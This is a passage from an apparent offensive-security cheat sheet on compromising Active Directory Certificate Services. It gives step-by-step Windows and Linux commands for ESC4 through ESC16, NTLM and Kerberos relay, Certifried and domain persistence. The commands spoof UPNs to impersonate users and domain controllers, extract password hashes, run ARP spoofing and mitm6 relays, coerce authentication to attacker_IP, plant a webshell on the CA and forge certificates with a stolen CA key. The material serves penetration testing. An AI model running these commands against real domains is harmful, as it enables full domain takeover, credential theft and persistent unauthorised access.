#Authenticate with the certif and obtain user3 hash during UnPac the hash
Rubeus.exe asktgt /getcredentials /certificate:"BASE64_CERTIFICATE" /password:"CERTIFICATE_PASSWORD" /domain:"contoso.local" /dc:"DOMAIN_CONTROLLER" /show
```

###### ESC10 - Case 1

Here, **user1** has `GenericWrite` against **user2** and want to compromise **user3**.

```powershell
#Retrieve user2 creds via Shadow Credentials
Whisker.exe add /target:"user2" /domain:"contoso.local" /dc:"DOMAIN_CONTROLLER" /path:"cert.pfx" /password:"pfx-password"
#Change user2 UPN to user3
Set-DomainObject user2 -Set @{'userPrincipalName'='user3'} -Verbose
#Request authentication certif with user2
Certify.exe request /ca:CA.contoso.local\CA /template:"User"
#user2 UPN change back
Set-DomainObject user2 -Set @{'userPrincipalName'='user2@contoso.local'} -Verbose
#Authenticate with the certif and obtain user3 hash during UnPac the hash
Rubeus.exe asktgt /getcredentials /certificate:"BASE64_CERTIFICATE" /password:"CERTIFICATE_PASSWORD" /domain:"contoso.local" /dc:"DOMAIN_CONTROLLER" /show
```

###### ESC10 - Case 2

Here, **user1** has `GenericWrite` against **user2** and want to compromise the domain controller **DC$@contoso.local**.

```powershell
#Retrieve user2 creds via Shadow Credentials
Whisker.exe add /target:"user2" /domain:"contoso.local" /dc:"DOMAIN_CONTROLLER" /path:"cert.pfx" /password:"pfx-password"
#Change user2 UPN to DC$@contoso.local
Set-DomainObject user2 -Set @{'userPrincipalName'='DC$@contoso.local'} -Verbose
#Request authentication certif with user2
Certify.exe request /ca:CA.contoso.local\CA /template:"User"
#user2 UPN change back
Set-DomainObject user2 -Set @{'userPrincipalName'='user2@contoso.local'} -Verbose
```

Now, authentication with the obtained certificate will be performed through Schannel. It can be used to perform, for example, an RBCD.

##### Linux

###### ESC9

Here, **user1** has `GenericWrite` against **user2** and want to compromise **user3**. **user2** is allowed to enroll in a vulnerable template that specifies the `CT_FLAG_NO_SECURITY_EXTENSION` flag in the `msPKI-Enrollment-Flag` value.

```bash
#Retrieve user2 creds via Shadow Credentials
certipy shadow auto -username 'user1@contoso.local' -p 'password' -account user2
#Change user2 UPN to user3
certipy account update -username 'user1@contoso.local' -p 'password' -user user2 -upn user3@contoso.local
#Request vulnerable certif with user2
certipy req -username 'user2@contoso.local' -hash 'hash_value' -target 'ca_host' -ca 'ca_name' -template 'vulnerable template'
#user2 UPN change back
certipy account update -username 'user1@contoso.local' -p 'password' -user user2 -upn user2@contoso.local
#Authenticate with the certif and obtain user3 hash during UnPac the hash
certipy auth -pfx 'user3.pfx' -domain 'contoso.local'
```

###### ESC10 - Case 1

Here, **user1** has `GenericWrite` against **user2** and want to compromise **user3**.

```bash
#Retrieve user2 creds via Shadow Credentials
certipy shadow auto -username 'user1@contoso.local' -p 'password' -account user2
#Change user2 UPN to user3
certipy account update -username 'user1@contoso.local' -p 'password' -user user2 -upn user3@contoso.local
#Request authentication certif with user2
certipy req -username 'user2@contoso.local' -hash 'hash_value' -ca 'ca_name' -template 'User'
#user2 UPN change back
certipy account update -username 'user1@contoso.local' -p 'password' -user user2 -upn user2@contoso.local
#Authenticate with the certif and obtain user3 hash during UnPac the hash
certipy auth -pfx 'user3.pfx' -domain 'contoso.local'
```

###### ESC10 - Case 2

Here, **user1** has `GenericWrite` against **user2** and want to compromise the domain controller **DC$@contoso.local**.

```bash
#Retrieve user2 creds via Shadow Credentials
certipy shadow auto -username 'user1@contoso.local' -p 'password' -account user2
#Change user2 UPN to DC$@contoso.local
certipy account update -username 'user1@contoso.local' -p 'password' -user user2 -upn 'DC$@contoso.local'
#Request authentication certif with user2
certipy req -username 'user2@contoso.local' -hash 'hash_value' -ca 'ca_name' -template 'User'
#user2 UPN change back
certipy account update -username 'user1@contoso.local' -p 'password' -user user2 -upn user2@contoso.local
#Authenticate through Schannel to realise a RBCD in a LDAP shell
certipy auth -pfx dc.pfx -dc-ip 'DC_IP' -ldap-shell
```

#### Issuance policiy with privileged group linked - ESC13

Issuance policy can be added to certificate template in the `msPKI-Certificate-Policy` attribute. Issuing policies are `msPKI-Enterprise-Oid` objects found in the PKI OID container (`CN=OID,CN=Public Key Services,CN=Services`, in the Configuration Naming Context).

This object has an `msDS-OIDToGroupLink` attribute which allows a policy to be linked to an AD group so that a system can authorise a user presenting the certificate as if he were a member of this group. As explained by[ Jonas Bülow Knudsen](https://twitter.com/Jonas\_B\_K) [here](https://posts.specterops.io/adcs-esc13-abuse-technique-fda4272fbd53).

##### Windows

Identify a template with an issuance policy.

```powershell
Get-ADObject "CN='Vulnerable template',$TemplateContainer" -Properties msPKI-Certificate-Policy
```

Verify if an interesting group is linked to this policy.

```powershell
Get-ADObject "CN=$POLICY_ID,$OIDContainer" -Properties DisplayName,msPKI-Cert-Template-OID,msDS-OIDToGroupLink
```

Then just request a certificate from the template.

```powershell
.\Certify.exe request /ca:CA.contoso.local\CA01 /template:"Vulnerable template"
```

##### Linux

This [PR](https://github.com/ly4k/Certipy/pull/196) on Certipy permits to identify template with issuance policy, and which ones are linked to group.

```bash
certipy find -u 'user1@contoso.local' -p 'password' -dc-ip 'DC_IP'
```

Then just request a certificate from the template.

```bash
certipy req -u 'user1@contoso.local' -p 'password' -dc-ip 'DC_IP' -target 'ca_host' -ca 'ca_name' -template 'Vulnerable template'
```

#### Weak explicit mapping - ESC14

Theory and requirements for this privilege escalation technique are pretty complex, and it is mandatory to have strong knowledges about certificate mapping. I recommend you to read [this page](https://www.thehacker.recipes/ad/movement/ad-cs/certificate-templates#certificate-mapping) first.

##### Detection

* Check for sufficient rights against `altSecurityIdentities` attributes:

```powershell
# Get the ACEs for a single object based on DistinguishedName
Get-WriteAltSecIDACEs -DistinguishedName "dc=contoso,dc=local"

# Get ACEs of all AD objects under domain root by piping them into Get-WriteAltSecIDACEs
Get-ADObject -Filter * -SearchBase "dc=contoso,dc=local" | Get-WriteAltSecIDACEs
```

```bash
dacledit.py -action 'read' -principal 'controlled_object' -target 'target_object' 'contoso'/'user':'password'
```

* Check for weak explicit mapping

```powershell
Get-AltSecIDMapping -SearchBase "CN=Users,DC=contoso,DC=local"
```

##### ESC14 A - Write access on altSecurityIdentities

* The attacker has write access to the `altSecurityIdentities` attribute of the **target**
* He can enrol on a certificate as the **victim** and create an explicit mapping for the **target** by modifying its `altSecurityIdentities` attribute and pointing it to the obtained certificate
* The certificate can then be used to authenticate as the **target**

```powershell
# Obtain a first certificate
Certify.exe request /ca:contoso\ca /template:Machine /machine

# Craft a X509IssuerSerialNumber mapping string
Get-X509IssuerSerialNumberFormat -SerialNumber $SERIAL_NUMBER -IssuerDistinguishedName $ISSUER_DN

# Add the string to the altSecurityIdentities attribute on the target
Add-AltSecIDMapping -DistinguishedName $TARGET_DN -MappingString $MAPPING_STRING
Get-AltSecIDMapping -DistinguishedName $TARGET_DN

# Use the previous certificate to authenticate as the target
```

##### ESC14 B - Target with X509RFC822 (email)

* The **target** has an explicit weak mapping of type `X509RFC822`
* The attacker can modify the `mail` attribute of the **victim** so that it matches the `X509RFC822` mapping of the **target**
* It is then possible to enroll on the certificate model with the **victim**, and use the certificate obtained to authenticate as the **target**
* The **target** is a user account
* The **target** already has at least one `X509RFC822` mapping in `altSecurityIdentities`
* The attacker has write access to the `mail` attribute of the **victim**
* The certificate template shows `CT_FLAG_NO_SECURITY_EXTENSION` in `msPKI-Enrollment-Flag` and shows the attribute `CT_FLAG_SUBJECT_ALT_REQUIRE_EMAIL` in `msPKI-Certificate-Name-Flag`
* For PKINIT, `StrongCertificateBindingEnforcement` is set to `0` or `1`
* For Schannel, `CertificateMappingMethods` indicates `0x8` and `StrongCertificateBindingEnforcement` is set to `0` or `1`

```powershell
# Overwrite the mail attribute of the victim to match the X509RFC822 mapping of the target
$victim = [ADSI]"LDAP://$VICTIM_DN"
$victim.Properties["mail"].Value = $TARGET_EMAIL
$victim.CommitChanges()

# Request a certificate as the victim to authenticate as the target
Certify.exe request /ca:contoso\ca /template:$TEMPLATE_MAIL
```

##### ESC14 C - Target with X509IssuerSubject

* The **target** has an explicit weak mapping of type `X509IssuerSubject`
* The attacker can modify the `cn` or `dNSHostName` attribute of the **victim** to match the subject of the `X509IssuerSubject` mapping of the **target**
* It is then possible to enroll on the certificate template with the **victim**, and use the resulting certificate to authenticate as the **target**
* The **target** already has at least one `X509IssuerSubject` mapping in `altSecurityIdentities`
* If the **victim** is a user:
  * The attacker can modify the `cn` and `name` attributes of the **victim** (to change the `cn`, the `name` must match)
  * If the **target** is a user and the `X509IssuerSubject` mapping has the current value of the `cn` attribute of the **target** as its identifier, the **victim** and the **target** cannot be in the same container (the DC will not allow the `cn` of the victim to be set according to the `cn` of the target if they are in the same container, as this would mean that they have the same `distinguishedName`)
* If the **victim** is a machine: the attacker has write access to the `dNSHostName` attribute
* The certificate template indicates `CT_FLAG_NO_SECURITY_EXTENSION` in `msPKI-Enrollment-Flag` (except for Schannel authentication with the DC having the `CertificateMappingMethods` key set to `0x1`)
* The template has one of the following flags in `msPKI-Certificate-Name-Flag`: `CT_FLAG_SUBJECT_REQUIRE_COMMON_NAME` or `CT_FLAG_SUBJECT_REQUIRE_DNS_AS_CN`
* The certificate does not have any of the following flags: `CT_FLAG_SUBJECT_REQUIRE_DIRECTORY_PATH` and `CT_FLAG_SUBJECT_REQUIRE_EMAIL`
* The enterprise PKI is the issuer referenced by `IssuerName` in the `X509IssuerSubject` mapping of the **target**
* For PKINIT, `StrongCertificateBindingEnforcement` is set to `0` or `1`
* For Schannel, `CertificateMappingMethods` indicates `0x8` and `StrongCertificateBindingEnforcement` is set to `0` or `1`, or `CertificateMappingMethods` is set to `0x1`

```powershell
# Overwrite the cn attribute of the victim to be equal to target.contoso.local
$victim = [ADSI]"LDAP://CN=$VICTIM,CN=Users,DC=contoso,DC=local"
$victim.Rename("CN=$TARGET.contoso.local")
Get-ADUser $VICTIM

# Request a certificate as the victim to authenticate as the target
Certify.exe request /ca:contoso\ca /template:$TEMPLATE
```

##### ESC14 D - Target with X509SubjectOnly

* The **target** has an explicit weak mapping of type `X509SubjectOnly`
* The attacker can modify the `cn` or `dNSHostName` attribute of the **victim** to match the subject of the `X509SubjectOnly` mapping of the **target**
* It is then possible to enroll on the certificate template with the **victim**, and use the resulting certificate to authenticate as the **target**
* The **target** already has at least one `X509SubjectOnly` mapping in `altSecurityIdentities`
* If the **victim** is a user:
  * The attacker can modify the `cn` and `name` attributes of the **victim** (to change the `cn`, the `name` must match)
  * If the **target** is a user and the `X509SubjectOnly` mapping has the current value of the `cn` attribute of the **target** as its identifier, the **victim** and the **target** cannot be in the same container (the DC will not allow the `cn` of the victim to be set according to the `cn` of the target if they are in the same container, as this would mean that they have the same `distinguishedName`)
* If the **victim** is a machine: the attacker has write access to the `dNSHostName` attribute
* The certificate template indicates `CT_FLAG_NO_SECURITY_EXTENSION` in `msPKI-Enrollment-Flag`
* The template has one of the following flags in `msPKI-Certificate-Name-Flag`: `CT_FLAG_SUBJECT_REQUIRE_COMMON_NAME` or `CT_FLAG_SUBJECT_REQUIRE_DNS_AS_CN`
* The certificate does not have any of the following flags: `CT_FLAG_SUBJECT_REQUIRE_DIRECTORY_PATH` and `CT_FLAG_SUBJECT_REQUIRE_EMAIL`
* For PKINIT, `StrongCertificateBindingEnforcement` is set to `0` or `1`
* For Schannel, `CertificateMappingMethods` indicates `0x8` and `StrongCertificateBindingEnforcement` is set to `0` or `1`

```powershell
# Overwrite the cn attribute of the victim to be equal to target.contoso.local
$victim = [ADSI]"LDAP://CN=$VICTIM,CN=Computers,DC=contoso,DC=local"
$victim.Properties["dNSHostName"].Value = $TARGET
$victim.CommitChanges()

# Request a certificate as the victim to authenticate as the target
Certify.exe request /ca:contoso\ca /template:$TEMPLATE /machine
```

#### Arbitrary application policy - ESC15 (CVE-2024-49019)

* [https://www.thehacker.recipes/ad/movement/adcs/certificate-templates#esc15-cve-2024-49019-arbitrary-application-policy](https://www.thehacker.recipes/ad/movement/adcs/certificate-templates#esc15-cve-2024-49019-arbitrary-application-policy)

```bash
# Request a certificate with "Certificate Request Agent" application policy
certipy req -u user1@contoso.local -p 'password' --application-policies "1.3.6.1.4.1.311.20.2.1" -ca 'ca_name' -template 'vulnerable template' -dc-ip 'DC_IP'

# Use the certificate in a ESC3 scenario to ask for a new certificate on behalf of another user
certipy req -u user1@contoso.local -p 'password' -on-behalf-of domain\\Administrator -template User -ca 'ca_name' -pfx cert.pfx -dc-ip 'DC_IP'

# Authenticate with the last certificate
certipy auth -pfx administrator.pfx -dc-ip 'DC_IP'
```

### Access Controls Attacks - ESC4, 5, 7

#### Sufficient rights against a template - ESC4

* [https://github.com/daem0nc0re/Abusing\_Weak\_ACL\_on\_Certificate\_Templates](https://github.com/daem0nc0re/Abusing\_Weak\_ACL\_on\_Certificate\_Templates)
* [https://http418infosec.com/ad-cs-the-certified-pre-owned-attacks#esc4](https://http418infosec.com/ad-cs-the-certified-pre-owned-attacks#esc4)

1. Get Enrollment rights for the vulnerable template
2. Disable `PEND_ALL_REQUESTS` flag in `mspki-enrollment-flag` for disabling Manager Approval
3. Set `mspki-ra-signature` attribute to `0` for disabling Authorized Signature requirement
4. Enable `ENROLLEE_SUPPLIES_SUBJECT` flag in `mspki-certificate-name-flag` for specifying high privileged account name as a SAN
5. Set `mspki-certificate-application-policy` to a certificate purpose for authentication
   * Client Authentication (OID: `1.3.6.1.5.5.7.3.2`)
   * Smart Card Logon (OID: `1.3.6.1.4.1.311.20.2.2`)
   * PKINIT Client Authentication (OID: `1.3.6.1.5.2.3.4`)
   * Any Purpose (OID: `2.5.29.37.0`)
   * No EKU
6. Request a high privileged certificate for authentication and perform Pass-The-Ticket attack

##### Windows

```powershell
# Add Certificate-Enrollment rights
Add-DomainObjectAcl -TargetIdentity templateName -PrincipalIdentity "Domain Users" -RightsGUID "0e10c968-78fb-11d2-90d4-00c04f79dc55" -TargetSearchBase "LDAP://CN=Configuration,DC=contoso,DC=local" -Verbose

# Disabling Manager Approval Requirement
Set-DomainObject -SearchBase "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=contoso,DC=local" -Identity tempalteName -XOR @{'mspki-enrollment-flag'=2} -Verbose

# Disabling Authorized Signature Requirement
Set-DomainObject -SearchBase "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=contoso,DC=local" -Identity templateName -Set @{'mspki-ra-signature'=0} -Verbose

# Enabling SAN Specification
Set-DomainObject -SearchBase "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=contoso,DC=local" -Identity templateName -XOR @{'mspki-certificate-name-flag'=1} -Verbose

# Editting Certificate Application Policy Extension
Set-DomainObject -SearchBase "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=contoso,DC=local" -Identity templateName -Set @{'mspki-certificate-application-policy'='1.3.6.1.5.5.7.3.2'} -Verbose
```

##### Linux

* Quick override and restore
```bash
# Overwrite the certificate template and save the old configuration
certipy template -u 'user@contoso.local' -p 'password' -dc-ip 'DC_IP' -template templateName -save-old

# After the ESC1 attack, restore the original configuration
certipy template -u 'user@contoso.local' -p 'password' -dc-ip 'DC_IP' -template templateName -configuration 'templateName.json'
```

* Precise modification
```bash
# Query a certificate template (all attributes)
python3 modifyCertTemplate.py -template templateName contoso.local/user:pass

# Query the raw values of all template attributes
python3 modifyCertTemplate.py -template templateName -raw contoso.local/user:pass

# Query the ACL for a certificate template
python3 modifyCertTemplate.py -template templateName -get-acl contoso.local/user:pass


# Disabling Manager Approval Requirement
python3 modifyCertTemplate.py -template templateName -value 2 -property mspki-enrollment-flag contoso.local/user:pass 

# Disabling Authorized Signature Requirement
python3 modifyCertTemplate.py -template templateName -value 0 -property mspki-ra-signature contoso.local/user:pass 

# Enabling SAN Specification
python3 modifyCertTemplate.py -template templateName -add enrollee_supplies_subject -property msPKI-Certificate-Name-Flag contoso.local/user:pass 

# Editting Certificate Application Policy Extension
python3 modifyCertTemplate.py -template templateName -value "'1.3.6.1.5.5.7.3.2', '1.3.6.1.5.2.3.4'" -property mspki-certificate-application-policy contoso.local/user:pass 
```

#### Sufficient rights against several objects - ESC5

* CA server’s AD computer object (i.e., compromise through RBCD)
* The CA server’s RPC/DCOM server
* Any descendant AD object or container in the container `CN=Public Key Services,CN=Services,CN=Configuration,DC=<COMPANY>,DC=<COM>` (e.g., the Certificate Templates container, Certification Authorities container, the NTAuthCertificates object, the Enrollment Services container, etc.)

For more explains, take a look at this [blog post](https://posts.specterops.io/from-da-to-ea-with-esc5-f9f045aa105c) and [this one](https://www.pkisolutions.com/escalating-from-child-domains-admins-to-enterprise-admins-in-5-minutes-by-abusing-ad-cs-a-follow-up/).

In an AD, the `Configuration naming context` object is duplicated between all the writable DC of the forest, and any changes made by a DC in this object in its local copy are automatically propagated to all the other DC, including the DC of the root domain.

_The SYSTEM user on the child domain’s domain controller has full control of some objects in the domain-local copy of the forest root domain’s Configuration naming context._

In particular, it has **Full Control** over the **Certificate Templates container**, meaning that it can add new (vulnerable) certificate templates, that will be replicated to the `Configuration naming context` on the root domain controller. Then, it also has **Full Control** over the **Enrollment Services container**, where the published templates are stored.

So the privesc from DA in a child domain to EA in the root domain is quit straightforward:

* After the takeover of the child domain, open a RDP session on the domain controller as an administrator
* Open a PowerShell session as SYSTEM (for example with PsExec)
* Launch `certtmpl.msc` as SYSTEM and duplicate an existing template. In the properties, make it vulnerable to ESC1
* Launch `certsrv.msc` as SYSTEM and publish the newly created template
  * As another way, access the ADSI Edit as SYSTEM (via MMC) and add the new template to the `certificateTemplates` property of the **Enrollment Services container**
* Finally, perform the ESC1 attack with Certify of Certipy

#### Sufficient rights against the CA - ESC7

* [https://ppn.snovvcrash.rocks/pentest/infrastructure/ad/ad-cs-abuse#vulnerable-ca-aces-esc7](https://ppn.snovvcrash.rocks/pentest/infrastructure/ad/ad-cs-abuse#vulnerable-ca-aces-esc7)

##### Windows

* _If an attacker gains control over a principal that has the **ManageCA** right over the CA, he can remotely flip the `EDITF_ATTRIBUTESUBJECTALTNAME2` bit to allow SAN specification in any template_

```powershell
# If RSAT is not present on the machine
DISM.exe /Online /Get-Capabilities
DISM.exe /Online /add-capability /CapabilityName:Rsat.CertificateServices.Tools~~~~0.0.1.0

# Install PSPKI
Install-Module -Name PSPKI
Import-Module PSPKI
PSPKI > Get-CertificationAuthority -ComputerName CA.contoso.local | Get-CertificationAuthorityAcl | select -ExpandProperty access

$configReader = New-Object SysadminsLV.PKI.Dcom.Implementations.CertSrvRegManagerD "CA.contoso.com"
$configReader.SetRootNode($true)
$configReader.GetConfigEntry("EditFlags", "PolicyModules\CertificateAuthority_MicrosoftDefault.Policy")
$configReader.SetConfigEntry(1376590, "EditFlags", "PolicyModules\CertificateAuthority_MicrosoftDefault.Policy")

# Check after setting the flag (EDITF_ATTRIBUTESUBJECTALTNAME2 should appear in the output)
certutil.exe -config "CA.consoto.local\CA" -getreg "policy\EditFlags"
reg query \\CA.contoso.com\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\CertSvc\Configuration\contoso-CA-CA\PolicyModules\CertificateAuthority_MicrosoftDefault.Policy /v EditFlags
```

On another hand, it is possible to create a new _CRL Distribution Point_ (CDP) that point to a controlled server is order to obtain an NTLM authentication from the AD CS server.

```powershell
Certify.exe coerceauth /ca:CA.contoso.local\CA01 /target:<attacker_IP>
```

Or write a webshell in the web server directory on the CA via a CDP manipluation:

```powershell
Certify.exe writefile /ca:CA.contoso.local\CA01 /path:C:\inetpub\wwwroot\shell.asp /input:shell.asp
```

* _If an attacker gains control over a principal that has the **ManageCertificates** right over the CA, he can remotely approve pending certificate requests, subvertnig the "CA certificate manager approval" protection_

```powershell
# Request a certificate that requires manager approval with Certify
Certify.exe request /ca:CA.contoso.local\CA01 /template:ApprovalNeeded
...
[*] Request ID : 1337

# Approve a pending request with PSPKI
PSPKI > Get-CertificationAuthority -ComputerName CA.contoso.local | Get-PendingRequest -RequestID 1337 | Approve-CertificateRequest

# Download the issued certificate with Certify
Certify.exe download /ca:CA.contoso.local\CA01 /id:1337
```

##### Linux

When it is not possible to restart the `CertSvc` service to enable the `EDITF_ATTRIBUTESUBJECTALTNAME2 attribute`,the built-in template **SubCA** can be usefull.

It is vulnerable to the **ESC1** attack, but only **Domain Admins** and **Enterprise Admins** can enroll in it. If a standard user try to enroll in it with [Certipy](https://github.com/ly4k/Certipy), he will encounter a `CERTSRV_E_TEMPLATE_DENIED` errror and will obtain a request ID with a corresponding private key.

This ID can be used by a user with the **ManageCA** _and_ **ManageCertificates** rights to validate the failed request. Then, the user can retrieve the issued certificate by specifying the same ID.

* With **ManageCA** right it is possible to promote new officier and enable templates

```bash
# Add a new officier
certipy ca -u 'user@contoso.local' -p 'password' -dc-ip 'DC_IP' -ca 'ca_name' -add-officer 'user'

# List all the templates
certipy ca -u 'user@contoso.local' -p 'password' -dc-ip 'DC_IP' -ca 'ca_name' -list-templates

# Enable a certificate template
certipy ca -u 'user@contoso.local' -p 'password' -dc-ip 'DC_IP' -ca 'ca_name' -enable-template 'SubCA'
```

* With **ManageCertificates** AND **ManageCA** it is possible to issue certificate from failed request

```bash
# Issue a failed request (need ManageCA and ManageCertificates rights for a failed request)
certipy ca -u 'user@contoso.local' -p 'password' -dc-ip 'DC_IP' -target 'ca_host' -ca 'ca_name' -issue-request 100

# Retrieve an issued certificate
certipy req -u 'user@contoso.local' -p 'password' -dc-ip 'DC_IP' -target 'ca_host' -ca 'ca_name' -retrieve 100
```

### CA Configuration - ESC6, 12, 16

#### EDITF_ATTRIBUTESUBJECTALTNAME2 - ESC6

If the CA flag **EDITF\_ATTRIBUTESUBJECTALTNAME2** is set, it is possible to specify a SAN in any certificate request. This ESC has been patched with the Certifried CVE patch. If the updates are installed, exploitation requires either a template vulnerable to ESC9 or misconfigured registry keys vulnerable to ESC10.

##### Windows

```powershell
# Find info about CA
Certify.exe cas

# Find template for authent
Certify.exe /enrolleeSuppliesSubject
Certify.exe /clientauth

# Request certif with SAN
Certify.exe request /ca:'domain\ca' /template:"Certificate template" /altname:"admin"
```

##### Linux

```bash
# Verify if the flag is set
certipy find -u 'user@contoso.local' -p 'password' -dc-ip 'DC_IP' -stdout | grep "User Specified SAN"

#To specify a user account in the SAN
certipy req -u 'user@contoso.local' -p 'password' -dc-ip 'DC_IP' -ca 'ca_name' -template 'vulnerable template' -upn 'administrator@contoso.local'

#To specify a computer account in the SAN
certipy req -u 'user@contoso.local' -p 'password' -dc-ip 'DC_IP' -ca 'ca_name' -template 'vulnerable template' -dns 'dc.contoso.local'
```

#### Shell access to ADCS CA with YubiHSM - ESC12

Administrators may configure the Certificate Authority to store its private key on an external device like "Yubico YubiHSM2", over storing it in the software storage.

This is a USB device connected to the CA server via a USB port, or a USB device server in case of the CA server is a virtual machine. "_In order to generate and use keys in the YubiHSM, the Key Storage Provider must use an authentication key (sometimes dubbed "password"). This key/password is stored in the registry under `HKEY_LOCAL_MACHINE\SOFTWARE\Yubico\YubiHSM\AuthKeysetPassword` in cleartext._"

With an access to the PKI server, it is possible to either redirect the the YubiHSM connection to a controlled machine, or import the PKI certificate and retrieve its private key to forge arbitrary certificate. Everything is explained [here](https://www.thehacker.recipes/a-d/movement/ad-cs/certificate-authority#shell-access-to-adcs-ca-with-yubihsm-esc12).

#### Security Extension Disabled on CA - ESC16

> When a CA has the OID `1.3.6.1.4.1.311.25.2` added to its `policy\DisableExtensionList` registry setting (under `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\CertSvc\Configuration\<CA-Name>\PolicyModules\<PolicyModuleName>`), every certificate issued by this CA will lack this SID security extension. This effectively makes _all_ templates published by this CA behave as if they were individually configured with the `CT_FLAG_NO_SECURITY_EXTENSION` flag (as seen in ESC9).
>
> ly4k - [https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc16-security-extension-disabled-on-ca-globally](https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc16-security-extension-disabled-on-ca-globally)

To be exploitable, the DC must also not being configured to run in Full Enforcement Mode (`StrongCertificateBindingEnforcement` registry key value is `not` 2). View the previous link in the quote for more details.

The exploitation can be performed in the exact same way as an [ESC9](https://hideandsec.sh/books/cheatsheets-82c/page/active-directory-certificate-services#bkmrk-extension-misconfigu), but for any template enabled on the PKI.

```bash
# Check target UPN
certipy account -u 'user1@contoso.local' -p 'password' -dc-ip 'DC_IP' -user 'target' read

# Update target's UPN
certipy account -u 'user1@contoso.local' -p 'password' -dc-ip 'DC_IP' -upn 'administrator' -user 'target' update

# Retrieve target's credentials
certipy shadow -u 'user1@contoso.local' -p 'password' -dc-ip 'DC_IP' -account 'target' auto

# Request a certificate as the "target" user from any suitable client authentication template
export KRB5CCNAME=./target.ccache
certipy req -k -dc-ip 'DC_IP' -target 'ca.contoso.local' -ca 'ca_name' -template 'User'

# Rollback target's UPN
certipy account -u 'user1@contoso.local' -p 'password' -dc-ip 'DC_IP' -upn 'target@contoso.local' -user 'target' update

# Authenticate as Administrator
certipy auth -dc-ip 'DC_IP' -pfx 'administrator.pfx' -username 'administrator' -domain 'contoso.local'
```

In case Full Enforcement is enabled on the DC, it is still possible to exploit the ESC16, **if the ESC6 is enabled** :

```bash
# Request certificate, using ESC6 to specify target UPN and SID in SAN
certipy req -u 'user1@contoso.local' -p 'password' -dc-ip 'DC_IP' -target 'ca.contoso.local' -ca 'ca_name' -template 'User' -upn 'administrator@contoso.local' -sid 'SID'

# Authenticate using the obtained certificate
certipy auth -pfx 'administrator.pfx' -dc-ip 'DC_IP'
```

### Relay Attacks - ESC8, 11

#### HTTP Endpoint - ESC8

If the HTTP endpoint is up on the CA and it accept NTLM authentication, it is vulnerable to NTLM or Kerberos relay.

##### NTLM Relay

```bash
# Prepare relay
ntlmrelayx -t "http://CA/certsrv/certfnsh.asp" --adcs --template "Template name"
#Or
certipy relay -ca ca.contoso.local

# Find a way to leak the machine or user Net-NTLM hash (Printerbug, Petitpotam, PrivExchange, etc)
```

ESC8 with NTLM relay can be performed from a WSUS poisoning.

```bash
#arpspoofing between the target and the WSUS server
    #In a first terminal
sudo arpspoof -i enp0s3 -t <target> <WSUS_server>
    #In a second  terminal
sudo arpspoof -i enp0s3 -t <WSUS_server> <target>

#Redirect WSUS trafic to port 80
sudo iptables -t nat -A PREROUTING -p tcp --dport 8530 -j REDIRECT --to-ports 80
sudo socat TCP-LISTEN:8530,fork TCP:80

# Prepare relay and wait for an authentication
ntlmrelayx -t "http://CA/certsrv/certfnsh.asp" --adcs --template "Computer"
```

##### Kerberos Relay

It is possible with the last versions of **mitm6** and **krbrelayx**.

```bash
#Setup the relay
sudo krbrelayx.py --target http://CA/certsrv -ip attacker_IP --victim target.contoso.local --adcs --template Machine

#Run mitm6
sudo mitm6 --domain contoso.local --host-allowlist target.contoso.local --relay CA.contoso.local -v
```

#### RPC Endpoint - ESC11

Certificate request can be realised through the **MS-ICPR** RPC endpoint. If the flag `IF_ENFORCEENCRYPTICERTREQUEST` is enabled on the CA, NTLM signing is required and no relay is possible (default configuration). But, **Windows Servers < 2012** and **Windows XP** clients need the flag to be removed for compatibility.

If `Enforce Encryption for Requests : Disabled` appears on the Certipy CA enumeration output, relay is possible (use this Certipy [fork ](https://github.com/sploutchy/Certipy)and this Impacket [fork ](https://github.com/sploutchy/impacket)for the moment):

```bash
ntlmrelayx.py -t "rpc://ca.contoso.local" -rpc-mode ICPR -icpr-ca-name "ca_name" -smb2support
```

### Certifried (CVE-2022–26923)

The CVE is well explained [here](https://www.thehacker.recipes/ad/movement/ad-cs/certifried). The right to create a computer account or the write rights over an existing account are needed.

#### Windows

```powershell
#Clean the SPNs on the controlled computer account
Set-ADComputer <controlled_name> -ServicePrincipalName @{}
#Set the dNSHostName value to the name of a computer account to impersonate
Set-ADComputer <controlled_name> -DnsHostName dc.contoso.local
#Request a certificate
Certify.exe request /ca:CA.contoso.local\CA /template:"Machine"
```

#### Linux

To check if the CVE is present, request un certificate as a user. If Certipy print `Certificate object SID is [...]`, the CVE cannot be exploited.

```bash
#Clean the SPNs on the controlled computer account
bloodyAD.py -u user1 -p password -d contoso.local setAttribute 'CN=<controlled_name>,CN=Computers,DC=contoso,DC=local' serviceprincipalname '[]'

#Set the dNSHostName value to the name of a computer account to impersonate
bloodyAD.py -u user1 -p password -d contoso.local setAttribute 'CN=<controlled_name>,CN=Computers,DC=contoso,DC=local' dnsHostName '["dc.contoso.local"]'

#Request a certificate
certipy req -u '<controlled_name>@contoso.local' -p 'password' -dc-ip 'DC_IP' -target 'ca_host' -ca 'ca_name' -template 'Machine'
```

## Domain Persistence

### Forge certificates with stolen CA certificate - DPERSIST1

With the **CA Certificate** it is possible to forge any arbitrary certificate. The CA certificate can be extracted on the CA server as presented in the **THEFT2** section, it's a certificate without any EKU and a "CA Version" extension. Additionally, the **Issuer** and the **Subject** are the CA itself.

Side note: since a forged certificate has not been issued by the CA, it cannot be revoked...

#### Windows

With the certificate and the private key in PFX format, ForgeCert can be used:

```powershell
./ForgeCert.exe --CaCertPath ./ca.pfx --CaCertPassword 'Password123!' --Subject "CN=User" --SubjectAltName administrator@contoso.local --NewCertPath ./admin.pfx --NewCertPassword 'Password123!'
```

#### Linux

With admin prives on the CA server, Certipy can retrieve the CA certificate and its key:

```bash
certipy ca -backup -u 'user@contoso.local' -p 'password' -ca 'ca_name'
```

Then Certipy can forge the new certificate:

```bash
certipy forge -ca-pfx ca.pfx -upn administrator@contoso.local -subject 'CN=Administrator,CN=Users,DC=CONTOSO,DC=LOCAL'
```

### Trusting Rogue CA Certificates - DPERSIST2

The principle is to generate a rogue self-signed CA certificate and add it to the `NTAuthCertificates` object. Then any forged certificates signed by this rogue certificate will be valid.

